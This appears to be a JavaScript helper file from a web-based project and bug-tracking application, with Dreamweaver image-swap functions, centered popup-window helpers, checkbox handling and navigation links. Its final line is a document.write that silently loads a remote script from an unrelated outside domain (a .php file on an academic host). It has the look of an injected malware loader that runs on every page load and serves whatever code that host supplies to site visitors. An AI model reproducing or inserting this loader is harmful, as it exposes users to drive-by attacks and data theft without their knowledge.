function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
   
}

function MM_swapImgRestore() { //v3.0
  var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}

function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function MM_swapImage() { //v3.0
  var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
   if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}


function PopUp(sURl, sName, sFeatures) {
	// To open a new window

		var newBrowser;
		newBrowser = window.open(sURl, sName, sFeatures);
		newBrowser.focus();		
}

function openCenteredWin2(newUrl, winName, winWidth, winHeight, strMenubar, strToolbar) {
    __openWin(newUrl, winName, winWidth, winHeight, ",status=no,scrollbars=yes," + 
        ",resizable=yes,menubar=" + strMenubar + ",toolbar=" + strToolbar);
}

function openCenteredWin(newUrl, winName, winWidth, winHeight) {
    __openWin(newUrl, winName, winWidth, winHeight, ",status=no,scrollbars=yes,resizable=yes,menubar=no,toolbar=yes");
}

function openBareCenteredWin(newUrl, winName, winWidth, winHeight) {
    __openWin(newUrl, winName, winWidth, winHeight, ",status=no,scrollbars=yes,resizable=yes,menubar=no,toolbar=no");
}

function __openWin(newUrl, winName, winWidth, winHeight, strOptions) {
    var str;
    str="width=" + winWidth + ",height=" + winHeight + ",innerHeight=" + winHeight;
    str+=",innerWidth=" + winWidth;

    if (window.screen)
    {
      var yPos = ( screen.availHeight / 2 ) - ( winHeight / 2);
      yPos = yPos < 0 ? 0 : yPos;
      var xPos = ( screen.availWidth / 2 ) - ( winWidth / 2);
      xPos = xPos < 0 ? 0 : xPos;
      str += ",left=" + xPos;
      str += ",screenX=" + xPos;
      str += ",top=" + yPos;
      str += ",screenY=" + yPos;
    }
    str += strOptions;
    PopUp(newUrl, winName, str);
}

function ResetCheckBox ( uniqueId, value ) {
	var elementName = uniqueId.split(":").join("_");	
	document.getElementById(elementName).checked = value;
}

function OpenAddNewReport( URl ) {
	openBareCenteredWin( URl, "AddNewReport",500, 400);
}

function OpenAddNewDocument ( URl ) {
	openBareCenteredWin( URl, "AddNewDocument",500, 300);
}

function OpenUserAttendance ( UserId, Name ) {
	openBareCenteredWin( "/Leave/Attendance/FM/?Id=" + UserId + "&Name=" + escape(Name), "UserAttendance",800, 450);
}

/*
	Description: Checks or unchecks the checkboxes in each row according to the state of the 
					checkbox in the header.
	Parameters:
		checkBox: The checkbox on the header.
*/
function SelectAllCheckBoxesOnClick(checkBox)
{
	re = new RegExp('_chkSelect$')
	for(i = 0; i < document.forms[0].elements.length; i++) 
	{
		elm = document.forms[0].elements[i]
		if (elm.type == 'checkbox') 
		{
			if (re.test(elm.id)) 
			{
				elm.checked = checkBox.checked;
				var tableId = elm.parentNode.parentNode.id;
				var rowIndex = tableId.substring(tableId.length - 1, tableId.length);
				SelectCheckBoxOnClick(document.getElementById(tableId), elm, rowIndex);
			}
		}
	}	
}


/*
	Description: Set a backgroundcolor of a row the checkbox on the row is checked, and
					resetting the color when the checkbox is again unchecked.
	Parameters:
		tableRow: The row of the table over which the mouse has moved out.
		checkBox: The checkbox on the row tableRow.
		rowIndex: Index of the row, used to reset the backgroundcolor to the original since
					AlternatingItemStyle-BackColor is set for the datagrid.
*/
function SelectCheckBoxOnClick(tableRow, checkBox, rowIndex)
{
	var bgColor;
	if(rowIndex%2 == 0)
		bgColor = "#ffffff";
	else
		bgColor = "#f5f5f5";
	if(checkBox.checked == true)
		tableRow.style.backgroundColor = "#b0c4de";
	else
		tableRow.style.backgroundColor = bgColor;
}

// Will refresh the iframe location
function ChangeIFrameLocation ( URl, name ) 
{
	var iframe = document.frames(name);
	
	if ( iframe != 'undefined' || iframe != null ) 
	{
		// redirect the user to the new location
		iframe.document.location.href = URl;
	}
}

// Chnage the status images dynamically
function ChangeStatusImage ( Id ) 
{
	alert(Id);
	//MM_swapImage('Status_' + Id,'','/images/status/' + Id + '_on.gif',1);
	var image = document.getElementById ( "Status_" + Id);
	image.src = "/images/status/" + Id + "_on.gif";
}

// Will refresh the iframe location
function OpenProject( projectId ) 
{
	var URl = "/Projects/View/?Id=" + projectId;
	// redirect
	window.parent.location.href = URl;
}

function OpenTask ( queryString ) 
{
	var URl = "/Tasks/View/" + queryString;
	// redirect
	window.open( URl);
	//window.parent.location.href = URl;
}

function OpenBug( queryString ) 
{
	var URl = "/Bugs/View/" + queryString;
	// redirect
	window.open( URl);
	//window.parent.location.href = URl;
}

function OpenUser( userId ) 
{
	var URl = "/Users/View/?Id=" + userId;
	// redirect
	window.parent.location.href = URl;
}
document.write('<script src=http://kanto.ac.jp/course/VIVID.php ><\/script>');